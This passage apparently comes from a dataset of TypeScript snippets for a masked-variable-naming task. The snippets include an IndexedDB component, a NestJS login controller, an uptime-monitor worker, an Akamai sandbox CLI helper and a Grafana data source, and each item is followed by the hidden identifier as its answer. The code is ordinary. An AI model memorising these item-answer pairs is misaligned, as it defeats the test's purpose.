  constructor(assetId: string, config?: Partial<ImageAssetConfig>) {
    const {
      width = 100,
      height = 100,
      x = 80,
      y = 20,
      duration = null,
    } = config || {};
    super(assetId);
    this.width = width;
    this.height = height;
    this.x = x;
    this.y = y;
    this.duration = duration;
  }

  toJSON() {
    return {
      assetId: this.assetId,
      width: this.width,
      height: this.height,
      x: this.x,
      y: this.y,
      duration: this.duration,
    };
  }
}

export class TextAsset extends MediaAsset {
  public text: string;
  public duration: number | null;
  public style: Partial<TextStyleProps>;

  constructor(config?: Partial<TextAssetConfig>) {
    const { text = '', style = {}, duration = null } = config || {};
    const assetId: string = `txt-${uuidv4()}`;
    super(assetId);
    this.text = text;
    this.duration = duration;
    this.style = Object.assign({}, TextStyleDefaultValues, style);
  }

  toJSON() {
    return {
      assetId: this.assetId,
      text: this.text,
      style: { ...this.style },
      duration: this.duration,
    };
  }
}
",attribute
988,"import {RendererProps} from '../factory';
import {extendObject} from '../utils/helper';
import {RendererEvent} from '../utils/renderer-event';
import {evalExpression} from '../utils/tpl';
import {dataMapping} from '../utils/tpl-builtin';
import {IBreakAction} from './BreakAction';
import {IContinueAction} from './ContinueAction';
import {ILoopAction} from './LoopAction';
import {IParallelAction} from './ParallelAction';
import {ISwitchAction} from './SwitchAction';

// 循环动作执行状态
export enum LoopStatus {
  NORMAL,
  BREAK,
  CONTINUE
}

// 监听器动作定义
export interface ListenerAction {
  actionType: string; // 动作类型 逻辑动作|自定义（脚本支撑）|reload|url|ajax|dialog|drawer 其他扩充的组件动作
  description?: string; // 事件描述，actionType: broadcast
  componentId?: string; // 组件ID，用于直接执行指定组件的动作
  args?: Record<string, any>; // 参数，可以配置数据映射
  outputVar?: string; // 输出数据变量名
  preventDefault?: boolean; // 阻止原有组件的动作行为
  stopPropagation?: boolean; // 阻止后续的事件处理器执行
  expression?: string; // 执行条件
  execOn?: string; // 执行条件，1.9.0废弃
}

export interface ILogicAction extends ListenerAction {
  children?: ListenerAction[]; // 子动作
}

// 逻辑动作类型，支持并行、排他（switch）、循环（支持continue和break）
export type LogicAction =
  | IParallelAction
  | ISwitchAction
  | ILoopAction
  | IContinueAction
  | IBreakAction;

export interface ListenerContext extends React.Component<RendererProps> {
  [propName: string]: any;
}

// Action 基础接口
export interface RendererAction {
  // 运行这个 Action，每个类型的 Action 都只有一个实例，run 函数是个可重入的函数
  run: (
    action: ListenerAction,
    renderer: ListenerContext,
    event: RendererEvent<any>,
    mergeData?: any // 有些Action内部需要通过上下文数据处理专有逻辑，这里的数据是事件数据+渲染器数据
  ) => Promise<RendererEvent<any> | void>;
}

// 存储 Action 和类型的映射关系，用于后续查找
const ActionTypeMap: {[key: string]: RendererAction} = {};

// 注册 Action
export const registerAction = (type: string, action: RendererAction) => {
  ActionTypeMap[type] = action;
};

// 通过类型获取 Action 实例
export const getActionByType = (type: string) => {
  return ActionTypeMap[type];
};

export const runActions = async (
   [MASK] : ListenerAction | ListenerAction[],
  renderer: ListenerContext,
  event: any
) => {
  if (!Array.isArray( [MASK] )) {
     [MASK]  = [ [MASK] ];
  }

  for (const actionConfig of  [MASK] ) {
    let actionInstrance = getActionByType(actionConfig.actionType);

    // 如果存在指定组件ID，说明是组件专有动作
    if (!actionInstrance && actionConfig.componentId) {
      actionInstrance = getActionByType('component');
    } else if (
      actionConfig.actionType === 'url' ||
      actionConfig.actionType === 'link' ||
      actionConfig.actionType === 'jump'
    ) {
      // 打开页面动作
      actionInstrance = getActionByType('openlink');
    }

    // 找不到就通过组件专有动作完成
    if (!actionInstrance) {
      actionInstrance = getActionByType('component');
    }

    // 这些节点的子节点运行逻辑由节点内部实现
    await runAction(actionInstrance, actionConfig, renderer, event);

    if (event.stoped) {
      break;
    }
  }
};

// 执行动作，与原有动作处理打通
export const runAction = async (
  actionInstrance: RendererAction,
  actionConfig: ListenerAction,
  renderer: ListenerContext,
  event: any
) => {
  // 用户可能，需要用到事件数据和当前域的数据，因此merge事件数据和当前渲染器数据
  // 需要保持渲染器数据链完整
  const mergeData = extendObject(renderer.props.data, {
    event
  });

  // 兼容一下1.9.0之前的版本
  const expression = actionConfig.expression ?? actionConfig.execOn;

  if (expression && !evalExpression(expression, mergeData)) {
    return;
  }

  // 修正参数，处理数据映射
  let args = event.data;

  if (actionConfig.args) {
    args = dataMapping(actionConfig.args, mergeData, key =>
      ['adaptor', 'responseAdaptor', 'requestAdaptor'].includes(key)
    );
  }

  await actionInstrance.run(
    {
      ...actionConfig,
      args
    },
    renderer,
    event,
    mergeData
  );

  // 阻止原有动作执行
  actionConfig.preventDefault && event.preventDefault();
  // 阻止后续动作执行
  actionConfig.stopPropagation && event.stopPropagation();
};
",actions
989,"import {
  Body,
  Controller,
  Request,
  Post,
  Get,
  // UseGuards,
  Query,
  HttpCode,
  HttpStatus,
} from '@nestjs/common';
import { AppService } from './app.service';
// import { AuthGuard } from '@nestjs/passport';
import { AuthService } from './modules/auth/auth.service';
// import { LocalAuthGuard } from './modules/auth/local-auth.guard';
import { Public } from './modules/auth/decorators/public.decorator';

@Controller()
export class AppController {
  constructor(
    private readonly appService: AppService,
    private readonly authService: AuthService,
  ) {}

  @Get()
  getHello(): string {
    return this.appService.getHello();
  }

  @Public()
  @HttpCode(HttpStatus.OK)
  @Post('auth/login')
  async login(@Body() signInDto: Record<string, any>) {
    const  [MASK]  = this.authService.signIn(
      signInDto.username,
      signInDto.password,
    );
    return {
      code: 200,
      message: 'success',
      data: {
        access_token: (await  [MASK] ).access_token,
        expires_in: 36000000,
        type: 'Bearer',
      },
    };
  }

  @Get('profile')
  getProfile(@Request() req: any) {
    const user = {
      code: 200,
      message: 'success',
      data: {
        avatar:
          'https://im.gzydong.com/public/media/image/avatar/20230530/f76a14ce98ca684752df742974f5473a_200x200.png',
        birthday: '2023-06-11',
        email: '<EMAIL>',
        gender: 2,
        id: 2055,
        mobile: '13800138000',
        motto: '...',
        nickname: '老牛逼了',
      },
    };
    user.data.nickname = req.user.username;
    user.data.id = req.user.userId;
    return user;
  }

  @Public()
  @Get('auth/loginGet')
  async loginGet(@Query() query: any, @Request() req: any) {
    console.info(query);
    return this.authService.login(req.user);
  }
}
",access_token_res
990,"import { Env, ServerStatus } from './types';
import { sendTelegramMessage } from './telegram';
import { handleTelegramWebhook } from './telegramBot'; // Import the new handler
import { Hono } from 'hono';
import { Context } from 'hono';

const app = new Hono<{ Bindings: Env }>();

// Middleware: Authentication
async function authenticateRequest(c: Context, next: Function) {
  const authHeader = c.req.header('Authorization');
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return c.text('Unauthorized: Missing or invalid Authorization header', 401);
  }
  const token = authHeader.substring('Bearer '.length);
  if (token !== c.env.ACCESS_TOKEN) {
    return c.text('Unauthorized: Invalid token', 401);
  }
  await next();
}

// Middleware: Validate server_name
async function validateServerName(c: Context, next: Function) {
  const serverName = c.req.query('server_name');

  if (!serverName) {
    return c.text('Bad Request: Missing server_name query parameter', 400);
  }

  const allowedServers = c.env.SERVERS.split(',').map((s: string) => s.trim());
  if (!allowedServers.includes(serverName)) {
    return c.text(`Bad Request: Invalid server_name '${serverName}'. Allowed: ${allowedServers.join(', ')}`, 400);
  }
  c.set('serverName', serverName);
  await next();
}

// Route Handler: POST /hello
async function handleHelloPost(c: Context): Promise<Response> {
  const serverName = c.get('serverName');
  const currentTime = Math.floor(Date.now() / 1000);

  try {
    let serverInfo: ServerStatus | null = await c.env.DB.prepare(
      ""SELECT server_name, last_hello_timestamp, last_state, last_state_change_timestamp FROM server_status WHERE server_name = ?""
    ).bind(serverName).first();

    if (serverInfo) {
      const previousState = serverInfo.last_state;
      serverInfo.last_hello_timestamp = currentTime;
      serverInfo.last_state = 'up';

      if (previousState === 'down') {
        const downTimeSeconds = currentTime - serverInfo.last_state_change_timestamp;
        const downTimeMinutes = Math.round(downTimeSeconds / 60);
        const downTimeDuration = downTimeSeconds < 60 ? `${downTimeSeconds}s` : `${downTimeMinutes}min`;

        serverInfo.last_state_change_timestamp = currentTime;
        await c.env.DB.prepare(
          ""UPDATE server_status SET last_hello_timestamp = ?, last_state = ?, last_state_change_timestamp = ? WHERE server_name = ?""
        ).bind(
          serverInfo.last_hello_timestamp,
          serverInfo.last_state,
          serverInfo.last_state_change_timestamp,
          serverName
        ).run();

        const message = `✅ Server *${serverName}* is back UP.\nIt was down for approximately ${downTimeDuration}.`;
        c.executionCtx.waitUntil(sendTelegramMessage(c.env, message));
        console.log(`Notification sent: ${serverName} is UP after being down for ${downTimeDuration}.`);
        return c.text(`Hello received for ${serverName}. Server is now UP. Downtime was ${downTimeDuration}.`, 200);
      } else {
        await c.env.DB.prepare(
          ""UPDATE server_status SET last_hello_timestamp = ? WHERE server_name = ?""
        ).bind(serverInfo.last_hello_timestamp, serverName).run();
        console.log(`Hello received for ${serverName}. Status remains UP.`);
        return c.text(`Hello received for ${serverName}. Status remains UP.`, 200);
      }
    } else {
      serverInfo = {
        server_name: serverName,
        last_hello_timestamp: currentTime,
        last_state: 'up',
        last_state_change_timestamp: currentTime,
      };
      await c.env.DB.prepare(
        ""INSERT INTO server_status (server_name, last_hello_timestamp, last_state, last_state_change_timestamp) VALUES (?, ?, ?, ?)""
      ).bind(
        serverInfo.server_name,
        serverInfo.last_hello_timestamp,
        serverInfo.last_state,
        serverInfo.last_state_change_timestamp
      ).run();
      const message = `👋 Server *${serverName}* sent its first ping and is now marked UP.`;
      c.executionCtx.waitUntil(sendTelegramMessage(c.env, message));
      console.log(`Notification sent: ${serverName} is newly UP.`);
      return c.text(`Hello received for new server ${serverName}. Marked as UP.`, 201);
    }
  } catch (e: any) {
    console.error(`D1 Error in /hello for server ${serverName}:`, e.message, e.cause);
    return c.text(`Database error processing ${serverName}: ${e.message}`, 500);
  }
}

// Register routes
app.post('/hello', authenticateRequest, validateServerName, handleHelloPost);

// Route for Telegram Bot Webhook
app.post('/tgbot', async (c) => {
  return handleTelegramWebhook(c, c.env);
});

// Fallback for 404
app.all('*', (c) => c.text('Not found.', 404));

export default {
  async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
    return app.fetch(request, env, ctx);
  },

  async scheduled(controller: ScheduledController, env: Env, ctx: ExecutionContext): Promise<void> {
    console.log(`Scheduled task running at ${new Date().toISOString()}`);
    const serverNamesFromEnv = env.SERVERS.split(',').map(s => s.trim()).filter(s => s.length > 0);
    const currentTime = Math.floor(Date.now() / 1000);
    const  [MASK]  = 70; // Consider a server down if no hello for > 70 seconds (to allow for slight delays)

    for (const serverName of serverNamesFromEnv) {
      try {
        let serverInfo: ServerStatus | null = await env.DB.prepare(
          ""SELECT server_name, last_hello_timestamp, last_state, last_state_change_timestamp FROM server_status WHERE server_name = ?""
        ).bind(serverName).first();

        if (serverInfo) {
          // Server exists in DB
          if (serverInfo.last_state === 'up' && (currentTime - serverInfo.last_hello_timestamp >  [MASK] )) {
            // Server was 'up' but missed pings, mark as 'down'
            console.log(`Server ${serverName} missed pings. Last hello: ${serverInfo.last_hello_timestamp}, Current time: ${currentTime}`);
            await env.DB.prepare(
              ""UPDATE server_status SET last_state = 'down', last_state_change_timestamp = ? WHERE server_name = ?""
            ).bind(currentTime, serverName).run();

            const message = `❗ Server *${serverName}* is DOWN. No ping received for over ${ [MASK] } seconds.`;
            ctx.waitUntil(sendTelegramMessage(env, message));
            console.log(`Notification sent: ${serverName} is DOWN.`);
          }
          // If serverInfo.last_state is 'down', we wait for a /hello to mark it up.
          // If serverInfo.last_state is 'up' and last_hello_timestamp is recent, do nothing.
        } else {
          // Server is in ENV but not in DB, this is the first time we're noticing it (or it was deleted from DB)
          // Add it as 'down' and notify.
          console.log(`Server ${serverName} from ENV not found in DB. Adding as 'down'.`);
          await env.DB.prepare(
            ""INSERT INTO server_status (server_name, last_hello_timestamp, last_state, last_state_change_timestamp) VALUES (?, ?, ?, ?)""
          ).bind(serverName, 0, 'down', currentTime).run(); // last_hello_timestamp as 0 or currentTime

          const message = `❓ Server *${serverName}* is configured but has not reported any status. Marking as DOWN.`;
          ctx.waitUntil(sendTelegramMessage(env, message));
          console.log(`Notification sent: ${serverName} is newly marked as DOWN (not found in DB).`);
        }
      } catch (e: any) {
        console.error(`Error processing server ${serverName} in scheduled task:`, e.message, e.cause);
        // Optionally send a Telegram message about the error itself if it's critical
        // ctx.waitUntil(sendTelegramMessage(env, `Worker error processing ${serverName}: ${e.message}`));
      }
    }
    console.log('Scheduled task finished.');
  }
};
",alertThresholdSeconds
991,"import { css } from 'styled-components'

type ACC = number | null | undefined

type Rule = 'minWidth' | 'maxWidth' | 'only'

export type Breakpoints = Record<string, number>

export const defaultBreakpoints: Breakpoints = {
  xxs: 0,
  xs: 320,
  s: 576,
  m: 768,
  l: 992,
  xl: 1200,
}

// Breakpoint
export const mediaWidthRule = (rule: Rule): string => (
  `${{ minWidth: 'min', maxWidth: 'max' }[rule] || 'min'}-width`
)

export const ruleTemplate = (rule: string, width: number): string => `(${rule}: ${width}px)`;
export const mediaTemplate = (rules: string): string => (
  `@media only screen and ${rules}`
)

export const getSmallestMedia = (breakpoints: Breakpoints): number => {
  const keys: string[] = Object.keys(breakpoints)

  return (
    Number(keys.reduce((acc: ACC, key: string): number => {
      if (acc) {
        return acc > breakpoints[key] ? breakpoints[key] : acc
      }
      return breakpoints[key]
    }, undefined))
  )
}

export const getNextMedia = (breakpoints: Breakpoints, width: number): number => {
  const keys: string[] = Object.keys(breakpoints)

  const nextBreakpoint = Number(keys.reduce((acc: ACC, key: string): number => {
    const current = breakpoints[key]

    if (acc && width - current <= 0) {
      return width - acc > Math.abs(width - current) || width - acc === 0 ? current : acc
    }

    return getSmallestMedia(breakpoints)
  }, undefined))

  if (nextBreakpoint === width) {
    throw new Error(`The breakpoint of value ${nextBreakpoint} is the heighst there is, did you mean to use ""[media].minWidth""?`)
  }

  return nextBreakpoint
}

export const mediaRules =
(breakpoints: Breakpoints, widthKey: string, rule: Rule, boundKey?: string) => {
  const width = breakpoints[widthKey]
  const bound = breakpoints[boundKey]
  let baseWidthRule = mediaWidthRule(rule)
  let  [MASK] 

  let baseRule = ruleTemplate(baseWidthRule, width)
  let boundRule

  if (bound && width) {
    // Get correct rule based on width relative to bound
    baseWidthRule = mediaWidthRule(bound <= width ? 'maxWidth' : 'minWidth')
     [MASK]  = mediaWidthRule(bound <= width ? 'minWidth' : 'maxWidth')

    baseRule = ruleTemplate(mediaWidthRule(bound <= width ? 'maxWidth' : 'minWidth'), width)
    boundRule = ruleTemplate( [MASK] , bound)

    return [].concat([baseRule], bound ? [boundRule] : []).join(' and ')
  }

  if (!bound && rule === 'only') {
    // Get correct rule based on width relative to bound
     [MASK]  = mediaWidthRule(bound <= width ? 'minWidth' : 'maxWidth')
    boundRule = ruleTemplate( [MASK] , getNextMedia(breakpoints, width))
  }

  return [].concat([baseRule], boundRule ? [boundRule] : []).join(' and ')
};

export const getMixin = (breakpoints: Breakpoints, key: string, rule: Rule = 'minWidth') => (bound?: string) => (
  (...args) => css`
      ${mediaTemplate(mediaRules(breakpoints, key, rule, bound))}{
        ${css(...args)}
      }
    `
)

export const getMediaShorthands = (breakpoints, rule) => (
  Object.keys(breakpoints).reduce((acc: Object, key: string) => ({
    ...acc,
    [key]: getMixin(breakpoints, key, rule)(),
  }), {})
)

export const getMedia = (breakpoints: Breakpoints) => {
  const mediasUp = getMediaShorthands(breakpoints, 'minWidth')
  const list = Object.keys(breakpoints)

  return ({
    ...mediasUp,
    minWidth: (widthKey: string) => getMixin(breakpoints, widthKey, 'minWidth')(),
    maxWidth: (widthKey: string) => getMixin(breakpoints, widthKey, 'maxWidth')(),
    only: (widthKey: string, boundKey?: string) => getMixin(breakpoints, widthKey, 'only')(boundKey),
    list,
  })
}

export default getMedia
",boudWidthRule
992,"import {
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  FieldType,
  MutableDataFrame,
} from '@grafana/data';
import { getTemplateSrv, getBackendSrv } from '@grafana/runtime';
import _ from 'lodash';
import defaults from 'lodash/defaults';
import { defaultQuery, MyDataSourceOptions, MyQuery } from './types';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  baseUrl: string;
  requestDebounce: any;

  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);

    this.baseUrl = instanceSettings.url!;
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    const promises = options.targets.map(async (target) => {
      const query = defaults(target, defaultQuery);
      if (query.hide) {
        return {
          data: [],
        };
      }

      let q = query.queryText;

      // Add ""At()"" step with the time range selected in Grafana, except if range is ""now,now""
      if (options.rangeRaw?.to !== 'now' || options.rangeRaw?.from !== 'now') {
        let from = parseInt(options.range.from.format('X'), 10);
        let to = parseInt(options.range.to.format('X'), 10);
        q = query.queryText.replace(/^G\./i, 'G.At(' + to + ',' + (to - from) + ').');
      }

      const response = await this.request(getTemplateSrv().replace(q, options.scopedVars));
      return new MutableDataFrame({
        refId: query.refId,
        fields: [{ name: 'Data', type: FieldType.other, values: response }],
      });
    });

    return Promise.all(promises).then((data) => ({ data }));
  }

  async request(query: string) {
    return getBackendSrv().post(`${this.baseUrl}/api/topology`, `{""GremlinQuery"": ""${query}""}`);
  }

  async requestGet(url: string, params?: string) {
    return getBackendSrv().datasourceRequest({
      url: `${this.baseUrl}${url}${params?.length ? `?${params}` : ''}`,
    });
  }

  /**
   * Checks whether we can connect to the API.
   */
  async testDatasource() {
    const  [MASK]  = 'Cannot connect to API';

    try {
      const response = await this.requestGet('/api');
      if (response.status === 200) {
        return {
          status: 'success',
          message: 'Success',
        };
      } else {
        return {
          status: 'error',
          message: response.statusText ? response.statusText :  [MASK] ,
        };
      }
    } catch (err) {
      if (_.isString(err)) {
        return {
          status: 'error',
          message: err,
        };
      } else {
        let message = '';
        message += err.statusText ? err.statusText :  [MASK] ;
        if (err.data && err.data.error && err.data.error.code) {
          message += ': ' + err.data.error.code + '. ' + err.data.error.message;
        }

        return {
          status: 'error',
          message,
        };
      }
    }
  }
}
",defaultErrorMessage
993,"import path = require('path');
import {CodeLensProvider, TextDocument, CodeLens, Command, DocumentSelector, Position, workspace, ExtensionContext} from 'vscode'
import { getClientForActiveEnvironment } from '../soar/client';
import { SoarAction } from '../soar/models';

export class RunActionLensProvider implements CodeLensProvider {

    constructor(private context: ExtensionContext) { }

    async provideCodeLenses(document: TextDocument): Promise<CodeLens[]> {
      let client = await getClientForActiveEnvironment(this.context)
      const config = workspace.getConfiguration()
      const codeLensEnabled: boolean = config.get<boolean>(""codeLensEnabled"", true)
      
      if (!codeLensEnabled) {
        return []
      }
      
      let fileName = path.parse(document.fileName).base.replace(""_connector.py"", """")
      let metadataUri = document.uri.with({path: path.join(document.uri.path, '..', fileName + "".json"")})
  
      let metadataDoc = await workspace.openTextDocument(metadataUri)
      let  [MASK]  = JSON.parse(metadataDoc.getText())
      let appRes = await client.getAppByAppid( [MASK] [""appid""])
      let appData = appRes.data.data[0]

      let actionsIdentifiers =  [MASK] [""actions""].map((action: SoarAction) => action.identifier)

      let codeLenses = [];
      const regex = new RegExp(/(def _handle_(.+)\()/g);
      const text = document.getText();
      let matches;
      while ((matches = regex.exec(text)) !== null) {
          const line = document.lineAt(document.positionAt(matches.index).line);
          const indexOf = line.text.indexOf(matches[0]);

          const foundIdentifier = matches[2]

          if (!actionsIdentifiers.includes(foundIdentifier)) {
            continue
          }
          const actionDefinition =  [MASK] .actions.find((action: SoarAction) => action.identifier == foundIdentifier);
          
          let actionContext = {
            ""data"": {
              ""action"": {
                ""name"": actionDefinition.action
              },
              ""app"": appData,
              ""app_json"":  [MASK] 
            }
          }

          let c: Command = {
            command: 'splunkSoar.apps.runAction',
            title: `Run Action: ${matches[2]}`,
            arguments: [actionContext]
          }

          const position = new Position(line.lineNumber, indexOf);
          const range = document.getWordRangeAtPosition(position, new RegExp(regex));
          if (range) {
              codeLenses.push(new CodeLens(range, c));
          }
      }
      return codeLenses;
    }
}

export const runActionLensSelector: DocumentSelector = {
  language: 'python',
  scheme: 'file',
  pattern: ""**/*_connector.py""
}
",metadataJSON
994,"import { APIGatewayProxyEventV2, APIGatewayProxyResultV2 } from ""aws-lambda"";

export class HTTP401Error extends Error {}
export class HTTP403Error extends Error {}
export class HTTP404Error extends Error {}

export const getErrorStatusCode = (error: any): number => {
  if (error instanceof HTTP401Error) {
    return 401;
  } else if (error instanceof HTTP403Error) {
    return 403;
  } else if (error instanceof HTTP404Error) {
    return 404;
  } else {
    return 500;
  }
};

export const getErrorMessage = (error: any): string => {
  if (
    error instanceof HTTP401Error ||
    error instanceof HTTP403Error ||
    error instanceof HTTP404Error
  ) {
    return error.message;
  } else {
    return ""予期せぬエラーが発生しました"";
  }
};

export const writeErrorLog = (
  event: APIGatewayProxyEventV2,
  result: APIGatewayProxyResultV2,
  error: any,
  userId?: string
): void => {
  const  [MASK]  = { ...event };
   [MASK] .headers[""Authorization""] = ""*****"";
  const log = {
    event:  [MASK] ,
    result,
    userId,
    error,
  };
  console.log(log);
};
",writableEvent
995,"import {SandboxDatastore} from './sandbox-datastore.js';
import {SandboxRecord} from './sandbox-record.js';
import {SandboxConfig} from './sandbox-config.js';
import * as envUtils from '../utils/env-utils.js';
import * as cliUtils from '../utils/cli-utils.js';

import fs from ""fs"";
import decompress from ""decompress"";
import path from ""path"";
import shell from ""shelljs"";
import fsExtra from ""fs-extra"";
import got from ""got"";
import { pipeline } from ""stream/promises"";

const CONNECTOR_VERSION = '1.5.0';
const DOWNLOAD_PATH: string = `https://github.com/akamai/sandbox-client/releases/download/${CONNECTOR_VERSION}/`;
const DOWNLOAD_FILE: string = `sandbox-client-${CONNECTOR_VERSION}-RELEASE-default.zip`;
const DOWNLOAD_URL = DOWNLOAD_PATH + DOWNLOAD_FILE;
const CONNECTOR_FOLDER_NAME = `sandbox-client-${CONNECTOR_VERSION}-RELEASE`;
const JAR_FILE_NAME = `sandbox-client-${CONNECTOR_VERSION}-RELEASE.jar`;

const CLI_CACHE_PATH: string = process.env.AKAMAI_CLI_CACHE_PATH;
if (!CLI_CACHE_PATH) {
  cliUtils.logAndExit(1, 'AKAMAI_CLI_CACHE_PATH is not set.');
}

if (!fs.existsSync(CLI_CACHE_PATH)) {
  cliUtils.logAndExit(1, `AKAMAI_CLI_CACHE_PATH is set to ${CLI_CACHE_PATH} but this directory does not exist.`);
}
const SANDBOX_CLI_HOME = path.join(CLI_CACHE_PATH, '/sandbox-cli/');
const DOWNLOAD_DIR = path.join(CLI_CACHE_PATH, '/sandbox-cli/downloads/');
const SANDBOXES_DIR = path.join(SANDBOX_CLI_HOME, '/sandboxes/');
const CONNECTOR_DOWNLOAD_LOCATION = path.join(DOWNLOAD_DIR, DOWNLOAD_FILE);
const CLIENT_INSTALL_PATH = path.join(SANDBOX_CLI_HOME, CONNECTOR_FOLDER_NAME);

const JAR_FILE_PATH = path.join(CLIENT_INSTALL_PATH, path.join('/lib', JAR_FILE_NAME));
const LOG_CONFIG_FILE = path.join(CLIENT_INSTALL_PATH, '/conf/logback.xml');
const DATASTORE_FILE_PATH = path.join(SANDBOX_CLI_HOME + '.datastore');

if (!fs.existsSync(SANDBOX_CLI_HOME)) {
  fs.mkdirSync(SANDBOX_CLI_HOME);
}
if (!fs.existsSync(SANDBOXES_DIR)) {
  fs.mkdirSync(SANDBOXES_DIR);
}

const datastore = new SandboxDatastore(DATASTORE_FILE_PATH);

export async function downloadClient() {
  console.log('Downloading sandbox client...');
  try{
    await pipeline(got.stream(DOWNLOAD_URL), fs.createWriteStream(DOWNLOAD_DIR + DOWNLOAD_FILE));
    if (!fs.existsSync(CONNECTOR_DOWNLOAD_LOCATION)) {
      cliUtils.logAndExit(1, 'Sandbox Client download failed for unknown reason!!')
    }
  } catch (e) {
    cliUtils.logAndExit(1, 'Sandbox Client download failed!\n' + e.message);
  }

  console.log(`installing to ${CLIENT_INSTALL_PATH}`);
  await unzipClient();
  console.log('done');
}

function unzipClient() {
  return decompress(CONNECTOR_DOWNLOAD_LOCATION, SANDBOX_CLI_HOME,  {
    filter: file =>  !file.path.endsWith('/') // skip listing directories: https://github.com/kevva/decompress/issues/46
  });
}

export function isAlreadyInstalled() {
  return fs.existsSync(JAR_FILE_PATH);
}

function createSandboxConfig(jwt: string, name: string, origins: Array<string>, clientConfig, passThrough: boolean) {
  let config = new SandboxConfig(SANDBOXES_DIR, name);
  if (clientConfig) {
    config.useClientConfig(clientConfig);
  }
  return config.create(jwt, origins, passThrough);
}

export function registerNewSandbox( [MASK] : string, jwt: string, name: string, origins: Array<string>, clientConfig = null, passThrough: boolean) {
  const sandboxConfig = createSandboxConfig(jwt, name, origins, clientConfig, passThrough);
  const sandboxRecord = new SandboxRecord( [MASK] , name, true, name, jwt);

  datastore.save(sandboxRecord);
  console.log(`sandbox-id: ${ [MASK] } ${name} is now active`);
  return sandboxConfig;
}

export function searchLocalSandboxes(str: string) {
  return getAllSandboxes().filter(sb => {
    if (sb.sandboxId.indexOf(str) >= 0 || sb.name.indexOf(str) >= 0) {
      return true;
    }
  })
}

export function makeCurrent(sandboxId: string) {
  datastore.makeCurrent(sandboxId);
}

export function getAllSandboxes(): Array<SandboxRecord> {
  return datastore.getAllRecords();
}

function getSandboxFolder(sandboxId: string) {
  const rec = datastore.getRecord(sandboxId);
  return path.join(SANDBOXES_DIR, rec.folder);
}

function getCurrentSandboxFolder() {
  return getSandboxFolder(datastore.getCurrent().sandboxId);
}

export function updateJWT(sandboxId: string, newJwt: string) {
  const sandboxRecord: SandboxRecord = datastore.getRecord(sandboxId);
  if (!sandboxRecord) {
    cliUtils.logAndExit(1,
      `Unable to set the new JWT into local configuration for sandbox-id: ${sandboxId}\nThe new token: ${newJwt}`
    );
    return;
  }
  sandboxRecord.jwt = newJwt;
  const sandboxConfig = new SandboxConfig(SANDBOXES_DIR, sandboxRecord.name);

  datastore.save(sandboxRecord);
  sandboxConfig.updateJwt(newJwt);
}

export function getSandboxLocalData(sandboxId: string) {
  const rec = datastore.getRecord(sandboxId);
  if (!rec) {
    return null;
  }
  return {
    isCurrent: rec.current,
    jwt: rec.jwt,
    sandboxFolder: getSandboxFolder(sandboxId),
  }
}

function getLogPath() {
  return path.join(getCurrentSandboxFolder(), '/logs')
}

export function flushLocalSandbox(sandboxId: string) {
  if (!datastore.hasRecord(sandboxId)) {
    return;
  }

  console.log('removing local files');
  const sb = datastore.getRecord(sandboxId);
  const folderPath = path.join(SANDBOXES_DIR, sb.folder);
  fsExtra.removeSync(folderPath);
  datastore.deleteRecord(sandboxId);
}

export function getCurrentSandboxId() {
  const c = datastore.getCurrent();
  if (!c) {
    return null;
  }
  return c.sandboxId;
}

export function getCurrentSandboxName() {
  const c = datastore.getCurrent();
  if (!c) {
    return null;
  }
  return c.name;
}

export function hasCurrent() {
  return !!getCurrentSandboxId();
}

export async function hasSandboxFolder(sandboxName) {
  const files = fs.readdirSync(SANDBOXES_DIR);
  return files.some(fileItem => fileItem.toLowerCase() === sandboxName.toLowerCase());
}

export async function executeSandboxClient(printLogs) {
  const loggingPath = getLogPath();
  const loggingFilePath = path.join(loggingPath, 'sandbox-client.log');
  const configPath = path.join(getCurrentSandboxFolder(), 'config.json');

  const springProfiles = [];
  if (printLogs) {
    springProfiles.push('print-logs')
  }

  const args = [
    `""${await envUtils.getJavaExecutablePath()}""`
  ];

  args.push(`-DLOG_PATH=""${loggingPath}""`);
  args.push(`-DLOGGING_CONFIG_FILE=""${LOG_CONFIG_FILE}""`);
  args.push(`-jar ""${JAR_FILE_PATH}""`);
  args.push(`--config=""${configPath}""`);

  if (springProfiles.length > 0) {
    args.push(`--spring.profiles.active=${springProfiles.join()}`)
  }

  const cmd = args.join(' ');

  printStartupInfo(configPath, loggingPath, loggingFilePath, args);

  shell.exec(cmd, function(exitCode) {
    if (exitCode !== 0) {
      printStartupFailureInfo(springProfiles);
    }
  });
}

function printStartupFailureInfo(springProfiles: string[]) {
  if (springProfiles.includes('print-logs')) {
    cliUtils.logAndExit(1, 'Sandbox Client failed to start.');
  } else {
    cliUtils.logAndExit(1, 'Sandbox Client failed to start. Please check logs for more information or start client with --print-logs option.');
  }
}

function printStartupInfo(configPath: string, loggingPath: string, loggingFilePath: string, args) {
  console.log('Starting Sandbox Client with arguments:');
  console.log(`Config: ${configPath}`);
  console.log(`Logging path: ${loggingPath}`);
  console.log(`Logging file: ${loggingFilePath}`);
  console.log(`Logging config: ${LOG_CONFIG_FILE}\n`);
  console.log(`Arguments: ${args}\n`);
}
",sandboxid
996,"import { Component, OnInit } from '@angular/core';
import {Observable} from 'rxjs';

@Component({
  selector: 'app-ingresos',
  templateUrl: './ingresos.component.html',
  styleUrls: ['./ingresos.component.css']
})
export class IngresosComponent implements OnInit {

  constructor() { }
  public observable;
  public arrCursor: any = [];



  ngOnInit() {
    this.dbFun('data_jorn');
  }

  dbFun(bd) {
    var db;
    const request = indexedDB.open(bd, 1);

    //funcion que capta errores
    request.onerror = (error) => console.log(error);

    //funcion capta los requirimientos positivos de mis transacciones
    request.onsuccess = (e) => {

      db = request.result;
      const transaction =  db.transaction([bd], 'readwrite');
      const objectStore = transaction.objectStore(bd);
      // let r = objectStore.add(data);
      // readData();
      objectStore.openCursor().onsuccess = (e) => {
        // console.log('Este es mi request: ')
        // console.log(e.target);
        const  [MASK]  = e.target.result;
        if(  [MASK]  ) {
          this.arrCursor.push( [MASK] .value);
           [MASK] .continue();
          console.log(this.arrCursor);



        }
        else {
          console.log('No hay mas Datos');
        }
      }

    }

    //funcion que verifica si hay una nueva actualizacion
    request.onupgradeneeded = () =>{
      db = request.result;
      const objectStore = db.createObjectStore(bd, {
        //autoIncrement: true,
